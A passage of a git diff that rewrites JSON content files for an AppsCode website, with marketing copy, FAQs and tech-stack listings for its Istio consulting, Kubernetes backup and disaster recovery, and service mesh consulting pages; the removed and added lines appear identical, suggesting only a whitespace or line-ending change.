documentation, and continuous improvement recommendations for long-term Istio adoption success." - }, - { - "question": "How much do Istio Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on microservices complexity, number of clusters, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ], - "final_cta": { - "title": "Need Enterprise Istio Support?", - "subtitle": "Partner with certified Istio experts to optimize, secure, and scale your service mesh.", - "buttons": [ - { - "text": "Get Istio Consulting", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - } -} +{ + "hero": { + "title": "Istio Consulting Services & Enterprise Support Partner", + "subtitle": "Accelerate Istio adoption with expert consulting, seamless implementation, and ongoing enterprise-grade support.", + "cta_text": "TALK TO AN ISTIO EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/istio-consulting-hero.png", + "alt": "Istio Consulting Services" + } + }, + "trusted_by": { + "title": "Trusted by Innovative Companies Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Istio Consulting Services?", + "areas": [ + { + "icon": "fa fa-shield", + "title": "Zero-Trust Security" + }, + { + "icon": "fa fa-clock-o", + "title": "Faster Failure Recovery" + }, + { + "icon": "fa fa-cloud", + "title": "Cloud & Platform Agnostic" + }, + { + "icon": "fa fa-eye", + "title": "Full Traffic Visibility" + }, + { + "icon": "fa fa-cogs", + "title": "Smart Load Balancing" + }, + { + "icon": "fa fa-lock", + "title": "Policy-Driven Security" + }, + { + "icon": "fa fa-sliders", + "title": "Flexible Configuration" + }, + { + "icon": "fa fa-users", + "title": "Secure Service Identity" + } + ] + }, + "service_details": { + "title": "Comprehensive Istio Consulting & Support", + "subtitle": "From initial assessment to enterprise support, we cover every step of your Istio journey with proven methodologies and hands-on expertise.", + "sections": [ + { + "title": "Consulting & Advisory", + "description": "Assess how Istio fits your microservices architecture and design a tailor-made adoption roadmap.", + "offerings": [ + "Comprehensive evaluation of your current infrastructure and workloads.", + "Detailed Istio adoption strategy aligned with your business goals." + ], + "image": "/assets/images/services/istio-consulting-advisory.png" + }, + { + "title": "Production-Grade Istio Deployment", + "description": "Deploy Istio confidently with zero downtime, security, and high availability using best practices.", + "offerings": [ + "Kubernetes, VM, and multi-cloud Istio deployment support.", + "Single and multi-cluster mesh patterns implementation.", + "Active-active and failover setups for enterprise-grade HA." + ], + "image": "/assets/images/services/istio-consulting-implementation.png" + }, + { + "title": "Observability & Traffic Management", + "description": "Gain full visibility and resilience with advanced traffic shaping, metrics, and monitoring integrations.", + "offerings": [ + "Retries, timeouts, fault injection, and circuit breaking setup.", + "Advanced routing: Blue-Green, Canary, A/B testing, and staged rollouts.", + "Full observability using Grafana, Prometheus, Kiali, and Jaeger." + ], + "image": "/assets/images/services/observability-traffic-management.png" + }, + { + "title": "Security & Policy Enforcement", + "description": "Apply Zero-Trust principles with end-to-end encryption and access control for all services.", + "offerings": [ + "mTLS enforcement for encrypted service-to-service communication.", + "Integrate authentication and authorization with existing IDPs.", + "Regular audits and compliance checks for enterprise security." + ], + "image": "/assets/images/services/istio-consulting-security.png" + }, + { + "title": "Enterprise Support & Training", + "description": "Keep your Istio environment healthy, updated, and well-managed with continuous support.", + "offerings": [ + "24×7 support for patches, upgrades, and troubleshooting.", + "Hands-on training for internal teams to build Istio expertise.", + "Architecture reviews and optimization guidance for sustained performance." + ], + "image": "/assets/images/services/enterprise-support-training.png" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode as Your Istio Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Experts", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Deep Domain Experience", + "description": "Experience from 100+ successful cloud-native client engagements." + }, + { + "icon": "fa fa-trophy", + "title": "Early Adopter", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Hands-on Training", + "description": "We focus on practical learning to empower your internal teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-wrench", + "title": "Recognized Partner", + "description": "Official Istio Professional Services Partner for enterprise-grade consulting." + } + ] + }, + "industries": { + "title": "Istio Consulting Across Industries", + "subtitle": "Decades of cloud-native and service mesh experience across regulated and high-growth industries.", + "additional_text": "From global enterprises to fast-growing startups — we’ve seen it all, and built for it all.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Secure, compliant, and always-on infrastructure for 24×7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Empowering SaaS teams with secure, performant service mesh foundations." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Support connected vehicle platforms with high-performance microservices." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Optimize resource monitoring and network control with cloud-native automation." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Enable faster, secure data exchange and compliance-ready workloads." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver always-on digital experiences with scalable, resilient platforms." + } + ] + }, + "tech_stack": { + "title": "Our Istio Tech Stack Expertise", + "subtitle": "Certified consultants experienced with leading service mesh and observability tools.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "faq": [ + { + "question": "What do your Istio Consulting Services include?", + "answer": "Our Istio Consulting Services help organizations implement and optimize Istio service mesh for Kubernetes. We cover traffic management, security policies, observability, fault tolerance, and deployment strategies to enable resilient and secure microservices communication." + }, + { + "question": "Which technologies and practices are used in Istio consulting?", + "answer": "We leverage Istio, Envoy proxies, Kubernetes, Helm charts, Kustomize, CI/CD pipelines, and observability tools. Our approach ensures secure service-to-service communication, traffic routing, telemetry, and automated rollouts for cloud-native applications." + }, + { + "question": "Can you integrate Istio with our existing Kubernetes clusters and applications?", + "answer": "Yes — we integrate Istio with your current clusters and workloads, optimize service mesh configurations, enforce security policies, and implement best practices to ensure reliable and observable communication between microservices." + }, + { + "question": "What is the typical timeline and engagement model for Istio Consulting Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your microservices architecture and current service mesh practices. Implementation follows in 4–8 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Istio advisory partnerships." + }, + { + "question": "Do Istio Consulting Services support multi-cloud or hybrid deployments?", + "answer": "Absolutely. Our services are designed to work across AWS, Azure, GCP, and on-premises Kubernetes environments, ensuring consistent service mesh management, traffic routing, and security across platforms." + }, + { + "question": "How do you ensure security, reliability, and observability with Istio?", + "answer": "We enforce mTLS for secure communication, role-based access control, traffic policies, monitoring, logging, tracing, automated retries, and fault injection for resilience. These measures maintain secure, reliable, and observable service-to-service communication." + }, + { + "question": "What happens after Istio consulting and implementation?", + "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, best practice documentation, and continuous improvement recommendations for long-term Istio adoption success." + }, + { + "question": "How much do Istio Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on microservices complexity, number of clusters, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ], + "final_cta": { + "title": "Need Enterprise Istio Support?", + "subtitle": "Partner with certified Istio experts to optimize, secure, and scale your service mesh.", + "buttons": [ + { + "text": "Get Istio Consulting", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + } +} diff --git a/data/services/site-reliability-engineering/kubernetes_disaster_recovery.json b/data/services/site-reliability-engineering/kubernetes_disaster_recovery.json index 693368c64a..782303229c 100644 --- a/data/services/site-reliability-engineering/kubernetes_disaster_recovery.json +++ b/data/services/site-reliability-engineering/kubernetes_disaster_recovery.json @@ -1,305 +1,305 @@ -{ - "hero": { - "title": "Enterprise Kubernetes Backup & Disaster Recovery Services", - "subtitle": "Protect your Kubernetes workloads with enterprise-grade backup, disaster recovery, and migration solutions across cloud, on-prem, or hybrid environments.", - "cta_text": "Contact Us", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-disaster-recovery.png", - "alt": "Kubernetes Backup & Disaster Recovery Services" - } - }, - "trusted_by": { - "title": "Trusted by Industry Leaders Worldwide" - }, - "title_with_small_cards": { - "title": "Why Kubernetes Backup & Disaster Recovery Matters", - "areas": [ - { - "icon": "fa fa-shield", - "title": "Accidental or Malicious Data Loss" - }, - { - "icon": "fa fa-server", - "title": "Infrastructure or Hardware Failures" - }, - { - "icon": "fa fa-bug", - "title": "Application Misconfigurations" - }, - { - "icon": "fa fa-cloud", - "title": "Compliance & Audit Readiness" - } - ] - }, - "service_details": { - "title": "Comprehensive Data Protection for Your Kubernetes Environment", - "subtitle": "End-to-end backup, recovery, and migration services for mission-critical Kubernetes workloads.", - "sections": [ - { - "title": "Kubernetes Business Continuity", - "description": "Ensure continuous operations with robust recovery strategies tailored to your Kubernetes clusters.", - "offerings": [ - "Proactive disaster recovery planning to mitigate cloud outages and infrastructure failures.", - "High-availability designs ensuring uninterrupted operations and improved customer trust.", - "Expert K8s guidance for seamless recovery across cloud, on-prem, or hybrid environments." - ], - "image": "/assets/images/services/kubernetes-business-continuity.png" - }, - { - "title": "Kubernetes Backup & Data Protection", - "description": "Implement automated, policy-driven backup frameworks to protect your data and maintain operational resilience.", - "offerings": [ - "Design and execute resilient, scheduled, and incremental backup strategies.", - "Full cluster and application-level data protection to meet SLAs.", - "Continuous backup optimization for data integrity and operational confidence." - ], - "image": "/assets/images/services/kubernetes-backup-data-protection.png" - }, - { - "title": "Kubernetes Disaster Recovery", - "description": "Minimize downtime and quickly restore services with customized disaster recovery workflows for K8s workloads.", - "offerings": [ - "Automated disaster recovery workflows for critical applications.", - "Multi-region and hybrid recovery architectures with zero data loss objectives.", - "Recovery validation and monitoring to ensure resilience and compliance." - ], - "image": "/assets/images/services/kubernetes-disaster-recovery-2.png" - }, - { - "title": "Kubernetes Migration", - "description": "Seamlessly migrate clusters, applications, and workloads across environments or Kubernetes versions with zero downtime.", - "offerings": [ - "Move workloads and persistent data securely between cloud, on-prem, or hybrid setups.", - "Ensure compatibility, security, and operational continuity during migration." - ], - "image": "/assets/images/services/kubernetes-migration.png" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for Kubernetes Backup & Disaster Recovery?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class Kubernetes Expertise", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Deep Domain Expertise", - "description": "Proven strategies and best practices refined through working with 100+ enterprise clients worldwide." - }, - { - "icon": "fa fa-trophy", - "title": "Pioneer in Kubernetes Services", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-bullhorn", - "title": "Cloud Native Evangelism", - "description": "Actively promoting and contributing to the growth of cloud-native and Kubernetes technologies across the globe." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-globe", - "title": "Global Reach", - "description": "Delivering Kubernetes expertise across USA, Canada, Australia, Europe, and other key regions." - } - ] - }, - "industries": { - "title": "Industry-Specific Expertise That Delivers", - "subtitle": "With extensive experience across 100+ organizations, we understand your operational challenges, regulatory requirements, and performance expectations.", - "additional_text": "From global enterprises with complex datacenters to fast-scaling startups—AppsCode ensures you stay resilient and compliant.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Achieve continuous availability and regulatory compliance while ensuring 24/7 secure transaction processing." - }, - { - "icon": "fa fa-laptop", - "title": "Technology, SaaS & Internet", - "description": "Accelerate AI integration and optimize SaaS workloads on high-performance, GPU-ready cloud infrastructure." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Adopt modern data pipelines and ML integrations to power safer, smarter, and more sustainable vehicle systems." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Transform inspection, monitoring, and data visualization workflows for operational efficiency and cost reduction." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Accelerate patient data processing and analytics using secure, compliant, and high-performance cloud setups." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver frictionless digital experiences through scalable, reliable, and real-time systems." - } - ] - }, - "tech_stack": { - "title": "Broad Technical Expertise Across the Cloud Native Ecosystem", - "subtitle": "Our engineers bring hands-on experience with modern tools, platforms, and frameworks gained through 100+ production deployments.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "large_preview_cards": { - "title": "Service Mesh Implementation Experts — Istio, Linkerd & Consul", - "items": [ - { - "icon": "fa fa-rocket", - "title": "Istio Expertise", - "description": "AppsCode’s certified Istio professionals help assess, architect, and implement service mesh solutions. We manage your complete Istio adoption—from setup to observability, security, and ongoing enterprise support." - }, - { - "icon": "fa fa-rocket", - "title": "Linkerd Expertise", - "description": "Our Linkerd-certified consultants assist with design, deployment, and managed support. From observability integration to policy configuration and automation—AppsCode ensures a seamless Linkerd experience." - }, - { - "icon": "fa fa-rocket", - "title": "Consul Expertise", - "description": "Leverage our Consul experts to build secure, scalable service mesh architectures. We handle deployment, encryption, discovery, and health monitoring with enterprise-grade reliability and support." - } - ] - }, - "faq": [ - { - "question": "What do your Kubernetes Backup & Disaster Recovery Services include?", - "answer": "Our Kubernetes Backup & Disaster Recovery Services help organizations protect and recover critical workloads running on Kubernetes clusters. We cover backup strategy design, disaster recovery planning, automated backups, cluster restores, and high availability configuration to ensure business continuity." - }, - { - "question": "Which technologies and practices are used in Kubernetes backup and disaster recovery?", - "answer": "We leverage tools like KubeStash, cloud provider snapshot services, and Kubernetes-native solutions. Our approach includes automated backups, scheduled restores, data integrity verification, and failover strategies to maintain resilient and reliable clusters." - }, - { - "question": "Can you work with our existing Kubernetes infrastructure and workloads?", - "answer": "Yes — we assess your current clusters, backup configurations, and critical workloads. We design tailored backup and disaster recovery strategies, implement automation, and ensure seamless recovery for both stateful and stateless applications." - }, - { - "question": "What is the typical timeline and engagement model for Kubernetes Backup & Disaster Recovery Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your Kubernetes clusters, workloads, and existing backup processes. Implementation follows in 4–6 week phases depending on complexity. We offer fixed-scope projects, time-and-materials consulting, or long-term support contracts." - }, - { - "question": "Do Kubernetes Backup & Disaster Recovery Services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent backup, restore, and disaster recovery processes across AWS, Azure, GCP, and on-premises Kubernetes clusters." - }, - { - "question": "How do you ensure data security, reliability, and rapid recovery?", - "answer": "We enforce encryption for data at rest and in transit, implement automated backup schedules, test recovery procedures regularly, and apply best practices for high availability. These measures ensure secure, reliable, and fast recovery in case of failure." - }, - { - "question": "What happens after Kubernetes backup and disaster recovery implementation?", - "answer": "After implementation, we provide ongoing monitoring, maintenance, and guidance. Our services include knowledge transfer, documentation of best practices, and continuous improvement recommendations to ensure clusters remain protected and recoverable." - }, - { - "question": "How much do Kubernetes Backup & Disaster Recovery Services cost, and what are the pricing models?", - "answer": "Pricing depends on cluster complexity, number of workloads, and support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ], - "final_cta": { - "title": "Need Kubernetes Backup & Disaster Recovery Assistance?", - "subtitle": "Partner with AppsCode to design a tailored backup, disaster recovery, and migration strategy for your Kubernetes workloads.", - "buttons": [ - { - "text": "Contact Us", - "icon": "fa fa-calendar", - "type": "outlined", - "url": "https://appscode.com/contact/" - } - ] - } -} +{ + "hero": { + "title": "Enterprise Kubernetes Backup & Disaster Recovery Services", + "subtitle": "Protect your Kubernetes workloads with enterprise-grade backup, disaster recovery, and migration solutions across cloud, on-prem, or hybrid environments.", + "cta_text": "Contact Us", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-disaster-recovery.png", + "alt": "Kubernetes Backup & Disaster Recovery Services" + } + }, + "trusted_by": { + "title": "Trusted by Industry Leaders Worldwide" + }, + "title_with_small_cards": { + "title": "Why Kubernetes Backup & Disaster Recovery Matters", + "areas": [ + { + "icon": "fa fa-shield", + "title": "Accidental or Malicious Data Loss" + }, + { + "icon": "fa fa-server", + "title": "Infrastructure or Hardware Failures" + }, + { + "icon": "fa fa-bug", + "title": "Application Misconfigurations" + }, + { + "icon": "fa fa-cloud", + "title": "Compliance & Audit Readiness" + } + ] + }, + "service_details": { + "title": "Comprehensive Data Protection for Your Kubernetes Environment", + "subtitle": "End-to-end backup, recovery, and migration services for mission-critical Kubernetes workloads.", + "sections": [ + { + "title": "Kubernetes Business Continuity", + "description": "Ensure continuous operations with robust recovery strategies tailored to your Kubernetes clusters.", + "offerings": [ + "Proactive disaster recovery planning to mitigate cloud outages and infrastructure failures.", + "High-availability designs ensuring uninterrupted operations and improved customer trust.", + "Expert K8s guidance for seamless recovery across cloud, on-prem, or hybrid environments." + ], + "image": "/assets/images/services/kubernetes-business-continuity.png" + }, + { + "title": "Kubernetes Backup & Data Protection", + "description": "Implement automated, policy-driven backup frameworks to protect your data and maintain operational resilience.", + "offerings": [ + "Design and execute resilient, scheduled, and incremental backup strategies.", + "Full cluster and application-level data protection to meet SLAs.", + "Continuous backup optimization for data integrity and operational confidence." + ], + "image": "/assets/images/services/kubernetes-backup-data-protection.png" + }, + { + "title": "Kubernetes Disaster Recovery", + "description": "Minimize downtime and quickly restore services with customized disaster recovery workflows for K8s workloads.", + "offerings": [ + "Automated disaster recovery workflows for critical applications.", + "Multi-region and hybrid recovery architectures with zero data loss objectives.", + "Recovery validation and monitoring to ensure resilience and compliance." + ], + "image": "/assets/images/services/kubernetes-disaster-recovery-2.png" + }, + { + "title": "Kubernetes Migration", + "description": "Seamlessly migrate clusters, applications, and workloads across environments or Kubernetes versions with zero downtime.", + "offerings": [ + "Move workloads and persistent data securely between cloud, on-prem, or hybrid setups.", + "Ensure compatibility, security, and operational continuity during migration." + ], + "image": "/assets/images/services/kubernetes-migration.png" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for Kubernetes Backup & Disaster Recovery?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class Kubernetes Expertise", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Deep Domain Expertise", + "description": "Proven strategies and best practices refined through working with 100+ enterprise clients worldwide." + }, + { + "icon": "fa fa-trophy", + "title": "Pioneer in Kubernetes Services", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-bullhorn", + "title": "Cloud Native Evangelism", + "description": "Actively promoting and contributing to the growth of cloud-native and Kubernetes technologies across the globe." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-globe", + "title": "Global Reach", + "description": "Delivering Kubernetes expertise across USA, Canada, Australia, Europe, and other key regions." + } + ] + }, + "industries": { + "title": "Industry-Specific Expertise That Delivers", + "subtitle": "With extensive experience across 100+ organizations, we understand your operational challenges, regulatory requirements, and performance expectations.", + "additional_text": "From global enterprises with complex datacenters to fast-scaling startups—AppsCode ensures you stay resilient and compliant.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Achieve continuous availability and regulatory compliance while ensuring 24/7 secure transaction processing." + }, + { + "icon": "fa fa-laptop", + "title": "Technology, SaaS & Internet", + "description": "Accelerate AI integration and optimize SaaS workloads on high-performance, GPU-ready cloud infrastructure." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Adopt modern data pipelines and ML integrations to power safer, smarter, and more sustainable vehicle systems." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Transform inspection, monitoring, and data visualization workflows for operational efficiency and cost reduction." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Accelerate patient data processing and analytics using secure, compliant, and high-performance cloud setups." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver frictionless digital experiences through scalable, reliable, and real-time systems." + } + ] + }, + "tech_stack": { + "title": "Broad Technical Expertise Across the Cloud Native Ecosystem", + "subtitle": "Our engineers bring hands-on experience with modern tools, platforms, and frameworks gained through 100+ production deployments.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "large_preview_cards": { + "title": "Service Mesh Implementation Experts — Istio, Linkerd & Consul", + "items": [ + { + "icon": "fa fa-rocket", + "title": "Istio Expertise", + "description": "AppsCode’s certified Istio professionals help assess, architect, and implement service mesh solutions. We manage your complete Istio adoption—from setup to observability, security, and ongoing enterprise support." + }, + { + "icon": "fa fa-rocket", + "title": "Linkerd Expertise", + "description": "Our Linkerd-certified consultants assist with design, deployment, and managed support. From observability integration to policy configuration and automation—AppsCode ensures a seamless Linkerd experience." + }, + { + "icon": "fa fa-rocket", + "title": "Consul Expertise", + "description": "Leverage our Consul experts to build secure, scalable service mesh architectures. We handle deployment, encryption, discovery, and health monitoring with enterprise-grade reliability and support." + } + ] + }, + "faq": [ + { + "question": "What do your Kubernetes Backup & Disaster Recovery Services include?", + "answer": "Our Kubernetes Backup & Disaster Recovery Services help organizations protect and recover critical workloads running on Kubernetes clusters. We cover backup strategy design, disaster recovery planning, automated backups, cluster restores, and high availability configuration to ensure business continuity." + }, + { + "question": "Which technologies and practices are used in Kubernetes backup and disaster recovery?", + "answer": "We leverage tools like KubeStash, cloud provider snapshot services, and Kubernetes-native solutions. Our approach includes automated backups, scheduled restores, data integrity verification, and failover strategies to maintain resilient and reliable clusters." + }, + { + "question": "Can you work with our existing Kubernetes infrastructure and workloads?", + "answer": "Yes — we assess your current clusters, backup configurations, and critical workloads. We design tailored backup and disaster recovery strategies, implement automation, and ensure seamless recovery for both stateful and stateless applications." + }, + { + "question": "What is the typical timeline and engagement model for Kubernetes Backup & Disaster Recovery Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your Kubernetes clusters, workloads, and existing backup processes. Implementation follows in 4–6 week phases depending on complexity. We offer fixed-scope projects, time-and-materials consulting, or long-term support contracts." + }, + { + "question": "Do Kubernetes Backup & Disaster Recovery Services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent backup, restore, and disaster recovery processes across AWS, Azure, GCP, and on-premises Kubernetes clusters." + }, + { + "question": "How do you ensure data security, reliability, and rapid recovery?", + "answer": "We enforce encryption for data at rest and in transit, implement automated backup schedules, test recovery procedures regularly, and apply best practices for high availability. These measures ensure secure, reliable, and fast recovery in case of failure." + }, + { + "question": "What happens after Kubernetes backup and disaster recovery implementation?", + "answer": "After implementation, we provide ongoing monitoring, maintenance, and guidance. Our services include knowledge transfer, documentation of best practices, and continuous improvement recommendations to ensure clusters remain protected and recoverable." + }, + { + "question": "How much do Kubernetes Backup & Disaster Recovery Services cost, and what are the pricing models?", + "answer": "Pricing depends on cluster complexity, number of workloads, and support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ], + "final_cta": { + "title": "Need Kubernetes Backup & Disaster Recovery Assistance?", + "subtitle": "Partner with AppsCode to design a tailored backup, disaster recovery, and migration strategy for your Kubernetes workloads.", + "buttons": [ + { + "text": "Contact Us", + "icon": "fa fa-calendar", + "type": "outlined", + "url": "https://appscode.com/contact/" + } + ] + } +} diff --git a/data/services/site-reliability-engineering/service_mesh_consulting.json b/data/services/site-reliability-engineering/service_mesh_consulting.json index 0a4fc95ec8..b185549e14 100644 --- a/data/services/site-reliability-engineering/service_mesh_consulting.json +++ b/data/services/site-reliability-engineering/service_mesh_consulting.json @@ -1,324 +1,324 @@ -{ - "hero": { - "title": "Enterprise Service Mesh Consulting & Implementation Experts", - "subtitle": "Accelerate your microservices journey with experts in Istio, ensuring security, reliability, and observability.", - "cta_text": "Talk to Service Mesh Experts", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/service-mesh-consulting.png", - "alt": "Enterprise Service Mesh Consulting & Support" - } - }, - "trusted_by": { - "title": "Trusted by Leading Global Enterprises" - }, - "title_with_small_cards": { - "title": "Why Choose Service Mesh Consulting?", - "areas": [ - { 